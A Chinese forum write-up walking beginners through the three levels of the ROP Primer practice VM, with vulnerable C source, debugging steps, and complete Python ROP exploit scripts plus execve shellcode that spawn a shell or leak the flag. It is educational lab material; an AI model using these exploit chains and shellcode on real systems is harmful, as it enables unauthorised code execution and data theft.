首页
社区
课程
招聘
[原创][新手向]Pwn学习笔记:Rop Primer靶机实战
2019-4-21 15:30 7474

[原创][新手向]Pwn学习笔记:Rop Primer靶机实战

2019-4-21 15:30
7474



前言

ROP靶机是一个用于训练CTF中的Pwn的平台,该靶机设计在Linux 32位系统中,一共分为3个等级。

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码




靶机安装

靶机ROP下载地址:https://pan.baidu.com/s/1rYDOK-EDZDEfEYk2_IfRMg

靶机IP:192.168.238.128(会根据DHCP自动分配)




nmap扫描ip




Level0

通过nmap探测可以看到该靶机开了3个端口,我们访问http看一下







这里给出来了,该等级的c语言代码和一些需要我们关注的信息,比如该等级靶机让我们锻炼ret2libc技术,还给出了一个ssh的账号密码为:level0 : warmup ,通过上面的源码可以看到这里有很明显的栈溢出漏洞,下一步我们就登陆该等级ssh,查看调试一下




登陆成功,在目录下面有一个flag文件,我们现在的权限说没办法读取的




下一步我们运行一下该level0,看看是怎么样的




可以看到程序接收用户的输入,如果经常挖漏洞的小伙伴一看就知道这样的方式很有可能是出现溢出漏洞的(假如没有源码的情况下),下面我们来调试一下这个level0看看




通过查看main可以看到比较敏感的函数:gets




下一步使用checksec来检测一下开启了那些防护




如上图可以看到只开启了NX,满足可以使用ret2libc技术,下一步我们来确认偏移地址,我们使用pattern来完成,gdb peda插件已经内置,因为我们有源码所有我就不把偏移指设的那么多




生成完后,我们继续运行一下该程序,在gdb里直接输入 “r” 即可,然后输入生成的值执行

通过上图可以看到程序如我们预想的那样奔溃,EIP变成了 0x41414641

接下来我们通过pattern_offset来判断溢出点为44




下一步我们来确认一下溢出点是否正确






EIP已经被控制




通过上面的调试已经确认该溢出点是正确的,eip也可控,存在栈溢出漏洞,下一步我们使用vmmap查看内存映射,寻找选择可读可写和可执行的内存块




找到两个函数




下一步我们找pop3ret,我们使用 ropgadget 来帮我们完成,pade插件里已经有了




我们找到了一个,是否正确呢,我们去http://ropshell.com 上验证一下,这里就把这个level0 下载到本机然后上传到该站分析








确认无误后,下一步我们就来编写这个exp


import sys
import struct

def p(x):
        return struct.pack('<L',x)

mpro=0x80523e0
read=0x80517f0
pop3ret=0x8048882

payload="\x41"*44

payload+=p(mpro)
payload+=p(pop3ret)
payload+=p(0xbffdf000)
payload+=p(0x21000)
payload+=p(0x7)
payload+=p(read)
payload+=p(0xbffdf000)
payload+=p(0x00)

payload+=p(0xbffdf000)
payload+=p(0x666)

print payload


0xbffdf000 为 堆栈地址




0x21000 为 堆栈的空间地址




最后的 0x666 为发送的shellcode字节,最后我们运行该exp,拿flag


(python exp1.py;python -c 'import sys;sys.stdout.write("\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")';cat) | ./level0 




已成功拿到shell和flag

Level1

首先,根据题目提示,以账号level1和密码shodan登录靶机,查看到文件flag和level1相关信息。




level1 为动态链接的32位程序,开启了NX保护




上来直接运行 level 程序,发现一直提示 error bind()ing ,ltrace看一下发现 bind 一直返回 -1,说明地址绑定不成功




查看一下本地的端口和进程信息,发现8888端口一直处于监听状态,且属于level2用户




直接nc过去,猜测该端口上运行着一个属于 level2 用户的 level1 程序




再来看题目本身,通过题目的说明,根据程序源代码找到漏洞点:漏洞产生的原因为对 char filename[32] 执行了以下操作,而变量 filesize 由用户输入,因此会造成溢出




出题者提示通过 level1 二进制文件中的 open/read/write 函数来拿到flag。顺藤摸瓜,这里很自然想到处理流程为

1.计算偏移量,溢出

2.执行open,打开flag文件

3.read读取flag文件内容

4.write将flag写出


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

void write_buf(int fd, char *buf)
{
  int len = strlen(buf);//得到数字空间大小
  write(fd, buf, len);//在里面写东西
}


void write_file(char *filename, char *filebuf, int filesize)
{
  int f = open(filename, O_RDWR | O_CREAT, S_IRUSR | S_IWUSR);//打开文件
  write(f, filebuf, filesize);//在里面写东西
  close(f);
}

void handle_conn(int fd)
{
  char filename[32], cmd[32];
  char text[256];
  int read_bytes, filesize;
  char str_filesize[7];

  // banner
  write_buf(fd, "Welcome to \n");
  write_buf(fd, " XERXES File Storage System\n");
  write_buf(fd, "  available commands are:\n");
  write_buf(fd, "  store, read, exit.\n");

  while (1)
  {
      write_buf(fd, "\n> ");

      memset(cmd, 0, sizeof(cmd));
      read(fd, cmd, sizeof(cmd));

      if (!strncmp(cmd, "store", 5))
      {
          write_buf(fd, " Please, how many bytes is your file?\n\n");
          write_buf(fd, "> ");
          memset(str_filesize, 0, sizeof(str_filesize));

          read(fd, &str_filesize, 6);
          filesize = atoi(str_filesize);
          char *filebuf = malloc(filesize);

          write_buf(fd, " Please, send your file:\n\n");
          write_buf(fd, "> ");
  
          read_bytes = read(fd, filebuf, filesize);

          if (read_bytes == filesize)
          {
              write_buf(fd, "   XERXES is pleased to inform you\n    that your file was received\n        most successfully.\n");
          }
          else
          {
              write_buf(fd, "   XERXES regrets to inform you\n    that an error occurred\n        while receiving your file.\n");
          }

          write_buf(fd, " Please, give a filename:\n");
          write_buf(fd, "> ");

          memset(filename, 0, sizeof(filename));           
          read_bytes = read(fd, filename, filesize);

          snprintf(text, sizeof(text), "  XERXES will store\n   this data as '%s'.\n", filename);
          write_buf(fd, text);

          write_file(filename, filebuf, filesize);

          write_buf(fd, "  XERXES wishes you\n      a NICE day.\n");
          return;
      }

      if (!strncmp(cmd, "read", 4))
      {
          write_buf(fd, "  Please, give a filename to read:\n");
          write_buf(fd, "> ");
          
          memset(filename, 0, sizeof(filename));           
          read_bytes = read(fd, filename, sizeof(filename));
          filename[read_bytes-1] = 0;

          if (strstr(filename, "flag"))
          {
              write_buf(fd, "  XERXES demands your capture\n    or destruction.\n  Have a NICE day.\n");
              return;
          }
          
          int f = open(filename, O_RDONLY);
          if (f == -1)
          {
              write_buf(fd, "  XERXES regrets to inform you\n   that the requested file cannot be found.\n");   
          }
      
          char *filebuf = malloc(100000);
          read_bytes = read(f, filebuf, 100000);
          write(fd, filebuf, read_bytes);
          free(filebuf);

          write_buf(fd, "  XERXES wishes you\n      a NICE day.\n");
          return;
      }

      if (!strncmp(cmd, "exit", 4))
      {
          write_buf(fd, "  XERXES wishes you\n      a NICE day.\n");
          return;
      }
  }
}

int main(int argc, char **argv)
{
  int listenfd = -1, connfd = -1;//初始化监听状态变量
  struct sockaddr_in serv_addr;//两个结构体地址变量

  listenfd = socket(AF_INET, SOCK_STREAM, 0);//listenfd接收套接字输出结果
  memset(&serv_addr, 0, sizeof(serv_addr));//初始化地址

  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  serv_addr.sin_port = htons(8888);
	//对地址进行端口绑定
  while (bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0)
      //监听地址,当绑定的地址sizeof<0,也就是-1
  {
      printf("[!] error bind()ing!\n");
      sleep(1);
      printf("[+] retrying bind()\n");
  }
//否则执行listen函数
  listen(listenfd, 10);    // 10 = backlog?

  while (1)
  {
      //死循环接收发包
      connfd = accept(listenfd, (struct sockaddr*)NULL, NULL);
      int pid = fork();//执行fork函数得到pid
      if (pid < 0)
      {
          printf("[!] error fork()ing!\n");
          close(listenfd);
          exit(-1);
      }
      if (pid == 0)//pid为0,就关闭监听
      {
          close(listenfd);
          handle_conn(connfd);
          close(connfd);
          exit(0);
      }

      close(connfd);
  }

  return 0;
}

试一下能不能拿到flag




main函数下断点




可以在运行后跟踪子进程,看看尝试使用'read'获取flag时会发生什么


level1@rop:~$ ltrace -f ./level1
[pid 27632] __libc_start_main(0x8048d19, 1, 0xbf9efb84, 0x8048ea0, 0x8048e90 <unfinished …>
[pid 27632] socket(2, 1, 0)                                               = 3
[pid 27632] memset(0xbf9efab4, '\000', 16)                                = 0xbf9efab4
[pid 27632] htonl(0, 0, 16, 0x8048eeb, 1)                                 = 0
[pid 27632] htons(8888, 0, 16, 0x8048eeb, 1)                              = 47138
[pid 27632] bind(3, 0xbf9efab4, 16, 0x8048eeb, 1)                         = 0
[pid 27632] listen(3, 10, 16, 0x8048eeb, 1)                               = 0
[pid 27632] accept(3, 0, 0, 0x8048eeb, 1)                                 = 4
[pid 27632] fork()                                                        = 27634
[pid 27632] close(4)                                                      = 0
[pid 27632] accept(3, 0, 0, 0x8048eeb, 1 <unfinished …>
[pid 27634] <… fork resumed> )                                          = 0
[pid 27634] close(3)                                                      = 0
[pid 27634] strlen("Welcome to \n")                                       = 12
[pid 27634] write(4, "Welcome to \n", 12)                                 = 12
[pid 27634] strlen(" XERXES File Storage System\n")                       = 28
[pid 27634] write(4, " XERXES File Storage System\n", 28)                 = 28
[pid 27634] strlen("  available commands are:\n")                         = 26
[pid 27634] write(4, "  available commands are:\n", 26)                   = 26
[pid 27634] strlen("  store, read, exit.\n")                              = 21
[pid 27634] write(4, "  store, read, exit.\n", 21)                        = 21
[pid 27634] strlen("\n> ")                                                = 3
[pid 27634] write(4, "\n> ", 3)                                           = 3
[pid 27634] memset(0xbf9efa3c, '\000', 32)                                = 0xbf9efa3c
[pid 27634] read(4, "read\n", 32)                                         = 5
[pid 27634] strncmp("read\n", "store", 5)                                 = -1
[pid 27634] strncmp("read\n", "read", 4)                                  = 0
[pid 27634] strlen("  Please, give a filename to rea"…)                 = 35
[pid 27634] write(4, "  Please, give a filename to rea"…, 35)           = 35
[pid 27634] strlen("> ")                                                  = 2
[pid 27634] write(4, "> ", 2)                                             = 2
[pid 27634] memset(0xbf9efa5c, '\000', 32)                                = 0xbf9efa5c
[pid 27634] read(4, "/home/level1/flag\n", 32)                            = 18
[pid 27634] strstr("/home/level1/flag", "flag")                           = "flag"
[pid 27634] strlen("  XERXES demands your capture\n  "…)                = 69
[pid 27634] write(4, "  XERXES demands your capture\n  "…, 69)          = 69
[pid 27634] close(4)                                                      = 0
[pid 27634] exit(0 <unfinished …>
[pid 27634] +++ exited (status 0) +++
[pid 27632] — SIGCHLD (Child exited) —


调用检查输入中“flag”字符串的出现次数,在检查发生之前没有解析符号链接,因此创建指向该标志的符号链接应该允许我们读取它




这个确实是flag,但是根本就没有用到ROP,主要目的是学习ROP

要用到store,这是操作的相关代码


loc_80489d8:
    write_buf(arg0, " Please, how many bytes is your file?\n\n");
    write_buf(arg0, 0x8048fb0);
    memset(var_163, 0x0, 0x7);
    read(arg0, var_163, 0x6);
    var_C = atoi(var_163);
    var_10 = malloc(var_C);
    write_buf(arg0, 0x8048fb3);
    write_buf(arg0, 0x8048fb0);
    if (read(arg0, var_10, var_C) == var_C) {
            write_buf(arg0, "   XERXES is pleased to inform you\n    that your file was received\n        most successfully.\n");
    }
    else {
            write_buf(arg0, "   XERXES regrets to inform you\n    that an error occurred\n        while receiving your file.\n");
    }
    write_buf(arg0, " Please, give a filename:\n");
    write_buf(arg0, 0x8048fb0);
    memset(var_3C, 0x0, 0x20);
    read(arg0, var_3C, var_C);
    snprintf(var_15C, 0x100, "  XERXES will store\n   this data as '%s'.\n", var_3C);
    write_buf(arg0, var_15C);
    write_file(var_3C, var_10, var_C);
    eax = write_buf(arg0, "  XERXES wishes you\n      a NICE day.\n");
    return eax;

读取文件名时发生缓冲区溢出。如下所示,分配了32个字节。但是,将读取字节,这是之前提供的文件大小。如果此值大于32,则它将覆盖堆栈上的其他值

我无法使用level1权限调试正在运行的setuid二进制文件,因此我们必须将其复制到本地计算机来分析


scp level1@192.168.238.128:level1  level1


gdb`在一个终端中打开并将follow-fork-mode设置为child




然后打开另一个终端并发送一个100字节的文件




子进程崩溃,EIP指向0x41414141






重新生成一些字符串,算一下偏移


$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ nc localhost 8888
Welcome to 
 XERXES File Storage System
  available commands are:
  store, read, exit.

> store
 Please, how many bytes is your file?

> 101
 Please, send your file:

> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
   XERXES is pleased to inform you
    that your file was received
        most successfully.
 Please, give a filename:
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
^C
$ cyclic -l 0x61616171
64
$

需要在覆盖返回地址之前写入64个字符

首先找到 level1 plt 表中的 open/read/write 的地址




然后,找到 level1 中的 flag字符串






最后,收集 level1 中的 gadget,需要一些pop2ret和pop3ret




完成rop准备工作,各变量如下:


open_addr     = 0x80486d0
read_addr     = 0x8048640
write_addr    = 0x8048700
flag_addr     = 0x8049128
pop3_ret_addr = 0x08048ef6
pop2_ret_addr = 0x08048ef7
buf_addr     = 0x0804a000

编写EXP


#!/bin/env python

import struct
import telnetlib

def p(x):
    return struct.pack('<L', x)

# functions
open = 0x80486d0
read = 0x8048640
write = 0x8048700

# "flag" string
flag = 0x08049128

# gadgets
pop2ret = 0x08048ef7
pop3ret = 0x08048ef6

# empty payload
payload = ""

# padding
payload += "A" * 64

# open the flag file
payload += p(open)
payload += p(pop2ret)
payload += p(flag)          # pathname
payload += p(0x0)           # flags

# read the flag
payload += p(read)
payload += p(pop3ret)
payload += p(0x3)           # 0:stdin, 1:stdout, 2:stderr, 3:flag, 4:socket
payload += p(0x0804a000)    # buf
payload += p(0x80)          # nbyte

# write it to the connected socket
payload += p(write)
payload += "FAKE"
payload += p(0x4)           # fd
payload += p(0x0804a000)    # buf
payload += p(0x80)          # count

tn = telnetlib.Telnet("192.168.56.101", 8888)

# send store command
print tn.read_until("> ")
tn.write("store\n")

# send file size
print tn.read_until("> ")
tn.write("%d\n" % (len(payload) + 1))

# send file contents
print tn.read_until("> ")
tn.write(payload + "\n")

# send file name
print tn.read_until("> ")
tn.write(payload)

print tn.read_all()





运行exp拿到flag




Level2

以 level2 和 tryharder 登录靶机,查看文件信息,level2 为静态链接文件,开了NX保护






查看题目说明,显然 strcpy 操作会导致变量 name 溢出




gdb调试查看溢出偏移为 44 个字节







没有进行任何边界检查,strcpy复制argv[1]到缓冲区就会发生溢出,需要提供多少字节才能覆盖ret地址?




算一下偏移




所以就是45-46-47-48字节会覆盖ret

由于是 strcpy 函数,在拷贝时会以 0x00 字节为结束符。这就提示我们,当我们打入的 payload 中间含有 0x00 字符时,其后的 payload 则不会顺利拷贝,从而导致无法正常执行获取shell

参考level1,我们必须使用mprotect和read系统调用

1.修改数据段权限

2.读入精心构造的shell,

3.跳转到shell处执行。


注意,由于 0x00 的约束,level0直接调用函数的解题方式无法奏效,因此此题采用系统调用(int 0x80)的方式来实现第一步和第二步的操作。根据提示,我们可以通过 ropshell网站 来搜索二进制文件内我们所需的gadget




使用地址0x080ca000来存储shellcode,它是映射二进制文件的地址空间的一部分,可以使用vmmap里面的命令获取此信息




标记内存区域后,我们需要从标准输入中读取shellcode,为了执行,需要按如下方式布置寄存器。


EAX = 3
EBX = 0
ECX = 0x080ca000
EDX = 128

我们需要使用gadget 来执行每个系统调用

上传level2文件到,它提供了一个可搜索的界面,可以根据使用的寄存器或指令类型过滤gadget




sys_mprotect 修改 .data 权限

要执行mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC),因此寄存器需要包含以下值


edx = 0x7
ecx = 0x40
ebx = 0x80ca000
eax = 0x7d

实现 的思想:在栈上放 0xffffffff,而后 ,再通过8次 即可。

网站查询到所需的gadget如下:




实现 的payload布局如下:


payload1 += pack(0x0000a476) #pop edx ; ret
payload1 += p32(0xffffffff) 
payload1 += pack(0x00006da1) #inc edx; add al, 0x83; ret
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)
payload1 += pack(0x00006da1)

实现 的思想同上即可。所需的gadget信息如下:






实现 的payload布局如下:

payload1 += pack(0x0000a49d)# pop ecx; pop ebx; ret
payload1 += p32(0xffffffff) # ecx
payload1 += p32(0x80ca001)  # 0x804a000+1 -> ebx

payload1 += pack(0x000806db) #inc ecx; ret
payload1 += pack(0x000806db) 
payload1 += pack(0x0004fd5a) #add ecx, ecx; ret
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)
payload1 += pack(0x0004fd5a)

为实现的操作,上述gadget已完成 0x80ca001 pop -> ebx ,只需再执行一次下面的gadget即可:




payload1 += pack(0x00007871) #dec ebx; ret


实现 同样可利用 组合操作实现


payload1 += pack(0x000601d6) #pop eax; ret
payload1 += p32(0xffffffff)
payload1 += pack(0x0002321e) #add eax, ecx; ret
payload1 += pack(0x0002321e) 
payload1 += pack(0x000600c6) #dec eax; ret
payload1 += pack(0x000600c6)

至此,通过 即可实现 sys_mprotect 操作。

sys_read 实现读取 shellcode,由此,我们要布局的 payload 应完成如下的功能


edx = 0x01010101 # not 0x00
ecx = 0x80ca000
ebx = 0
eax = 0x3

利用ropshell网站查询所需gadget,整体流程同上面,在此不再赘述。payload布局如下:


#2-1 edx <- 0x01010101
payload1 += p32(0x08052476) #pop edx ; ret
payload1 += p32(0x01010101) 

#2-2 ecx <- 0x080ca000
payload1 += pack(0x0000a49d) # pop ecx; pop ebx; ret
payload1 += p32(0x80ca001)
payload1 += p32(0xffffffff)
payload1 += pack(0x000008e9) # dec ecx; ret

#2-3 ebx <- 0
payload1 += pack(0x000806d1) # inc ebx; ret

#2-4 eax <- 0x3
payload1 += pack(0x000601d6) # pop eax; ret
payload1 += p32(0xffffffff)
payload1 += pack(0x000222ef) # inc eax; ret
payload1 += pack(0x000222ef)
payload1 += pack(0x000222ef)
payload1 += pack(0x000222ef)

payload1 += pack(0x0000aba0) # int 0x80; ret

跳转到shellcode 执行拿flag,上述两步执行完成后,读取shellcode存储在 0x80ca000 处,即 sys_read 执行完的 ecx 地址处,因此在 payload 的最后,加上如下gadget即可。


payload1 += pack(0x0005e42c) # jmp ecx


完整的exp如下:


#!/bin/env python

import struct

def p(x):
    return struct.pack('<L', x)

# convert offset to absolute address
def c(x):
    return p(0x08048000 + x)

# empty payload
payload = ""

# padding
payload += "A" * 44

# mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC)
# edx = 7
payload += c(0x0000a476)    # pop edx; ret
payload += p(0xffffffff)    # edx
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret
payload += c(0x00006da1)    # inc edx; add al, 0x83; ret

# ebx = 0x080ca000, ecx = 128
payload += c(0x0000a49d)    # pop ecx; pop ebx; ret
payload += p(0xffffffff)    # ecx
payload += p(0x080ca001)    # ebx = addr + 1
payload += c(0x00007871)    # dec ebx; ret
payload += c(0x000806db)    # inc ecx; ret
payload += c(0x000806db)    # inc ecx; ret
payload += c(0x000806db)    # inc ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret
payload += c(0x0004fd5a)    # add ecx, ecx; ret

payload += c(0x000601d6)    # pop eax; ret
payload += p(0xffffffff)    # eax
payload += c(0x0002321e)    # add eax, ecx; ret
payload += c(0x000600c6)    # dec eax; ret
payload += c(0x000600c6)    # dec eax; ret

payload += c(0x0000aba0)    # int 0x80; ret

# read(0, 0x0804ca000, large value)
# eax = 3
payload += c(0x000601d6)    # pop eax; ret
payload += p(0xffffffff)    # eax
payload += c(0x000222ef)    # inc eax; ret
payload += c(0x000222ef)    # inc eax; ret
payload += c(0x000222ef)    # inc eax; ret
payload += c(0x000222ef)    # inc eax; ret

# ebx = 0, ecx = 0x080ca000
payload += c(0x0000a49d)    # pop ecx; pop ebx; ret
payload += p(0x080ca001)    # ecx = addr + 1
payload += p(0xffffffff)    # ebx
payload += c(0x000008e9)    # dec ecx; ret
payload += c(0x000806d1)    # inc ebx; ret

# edx = any large value
payload += c(0x0000a476)    # pop edx; ret
payload += p(0x01111111)    # edx

payload += c(0x0000aba0)    # int 0x80; ret

# jmp to ecx = 0x080ca000
payload += c(0x0005e42c)    # jmp ecx

print payload


执行exp,拿到shell


(python -c 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'; cat) | ./level2 "$(python ./exp2.py)"



总结

至此,ROP Pwn靶机的三个level已经全部解决,三个题目都是溢出后使用rop技术构造exp,这里ropshell.com这个网站非常好用,方便我们找到ropgadget ,这个靶机很适合学习Pwn的新手同学,想学习的同学可以参考学习,里面的坑我基本上都填平了,希望能帮到大家,一起进步。

排版重新整理了一下,原来md的代码粘过来会乱,贴图贴到手酸。


参考信息

https://blog.the-playground.dk/2015/08/rop-primer-v02-level-2.html

https://www.anquanke.com/post/id/168988#h3-2



个人github博客地址:

https://github.com/streetleague/0xbird.github.io/

个人安全研究公众号平台:


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-7-12 15:37 被0xbird编辑 ,原因: 排版
收藏
免费 5
打赏
分享
打赏 + 5.00雪花
打赏次数 1 雪花 + 5.00
 
赞赏  orz1ruo   +5.00 2019/04/22 感谢分享~
最新回复 (3)
雪    币: 3051
活跃值: (1392)
能力值: ( LV13,RANK:480 )
在线值:
发帖
回帖
粉丝
0xbird 7 2019-4-21 16:07
2
0
贴图贴到手酸
雪    币: 35388
活跃值: (19185)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2019-4-21 16:14
3
0
辛苦了
雪    币: 88
活跃值: (4899)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wsc 2019-4-22 11:34
4
0
hackerbirder 贴图贴到手酸[em_37]
可以直接截图粘贴
游客
登录 | 注册 方可回帖
返回